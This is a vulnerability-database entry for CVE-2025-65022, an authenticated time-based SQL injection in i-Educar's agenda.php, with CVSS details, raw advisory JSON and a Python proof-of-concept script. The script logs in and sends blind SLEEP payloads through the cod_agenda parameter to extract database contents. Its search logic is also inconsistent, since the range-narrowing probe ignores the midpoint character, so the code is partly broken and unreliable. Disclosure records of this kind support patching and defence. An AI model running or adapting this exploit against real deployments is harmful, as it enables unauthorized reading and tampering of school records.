Security Vulnerability Report
中文
CVE-2025-65022 CVSS 7.2 HIGH

CVE-2025-65022

Published: 2025-11-19 16:15:49
Last Modified: 2025-11-20 17:24:08

Description

i-Educar is free, fully online school management software. In versions 2.10.0 and prior, an authenticated time-based SQL injection vulnerability exists in the ieducar/intranet/agenda.php script. An attacker with access to an authenticated session can execute arbitrary SQL commands against the application's database. This vulnerability is caused by the improper handling of the cod_agenda request parameter, which is directly concatenated into multiple SQL queries without proper sanitization. This issue has been patched in commit b473f92.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:portabilis:i-educar:*:*:*:*:*:*:*:* - VULNERABLE
i-Educar <= 2.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65022 Time-based SQL Injection PoC # Target: i-Educar <= 2.10.0 # Location: ieducar/intranet/agenda.php # Authenticated Time-based SQL Injection via cod_agenda parameter import requests import time import string import sys TARGET_URL = "http://target.com/ieducar/intranet/agenda.php" LOGIN_URL = "http://target.com/ieducar/intranet/login.php" USERNAME = "admin" PASSWORD = "password" def login(session): """Authenticate to i-Educar and obtain session cookie""" data = { 'login': USERNAME, 'password': PASSWORD } resp = session.post(LOGIN_URL, data=data) return 'ieducar' in session.cookies.get_dict() def extract_data(session, payload): """Send malicious payload and measure response time""" start_time = time.time() params = {'cod_agenda': payload} try: resp = session.get(TARGET_URL, params=params, timeout=30) except requests.exceptions.Timeout: pass elapsed = time.time() - start_time return elapsed def binary_search_char(session, query): """Binary search to extract one character""" charset = string.printable low, high = 0, len(charset) - 1 while low <= high: mid = (low + high) // 2 char = charset[mid] # Time-based blind SQLi payload payload = f"1' AND IF({query}='{char}',SLEEP(3),0)-- -" elapsed = extract_data(session, payload) if elapsed >= 3: return char # Adjust search range based on character comparison payload_gt = f"1' AND IF({query}>{chr(127)},SLEEP(1),0)-- -" if extract_data(session, payload_gt) >= 1: low = mid + 1 else: high = mid - 1 return None def extract_database_version(session): """Extract database version using time-based injection""" query = "SUBSTRING(@@version,{},1)" result = "" for i in range(1, 20): char = binary_search_char(session, query.format(i)) if char: result += char else: break return result def main(): session = requests.Session() print("[*] Logging in to i-Educar...") if not login(session): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Extracting database version...") version = extract_database_version(session) print(f"[+] Database version: {version}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65022", "sourceIdentifier": "[email protected]", "published": "2025-11-19T16:15:49.417", "lastModified": "2025-11-20T17:24:07.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "i-Educar is free, fully online school management software. In versions 2.10.0 and prior, an authenticated time-based SQL injection vulnerability exists in the ieducar/intranet/agenda.php script. An attacker with access to an authenticated session can execute arbitrary SQL commands against the application's database. This vulnerability is caused by the improper handling of the cod_agenda request parameter, which is directly concatenated into multiple SQL queries without proper sanitization. This issue has been patched in commit b473f92."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:portabilis:i-educar:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.10.0", "matchCriteriaId": "877348AB-B600-47B3-A565-8198483C6414"}]}]}], "references": [{"url": "https://github.com/portabilis/i-educar/commit/b473f92b5326f45d7bce2de93a5381bed7ca8ac7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/portabilis/i-educar/security/advisories/GHSA-4hrj-5gwx-r4w4", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}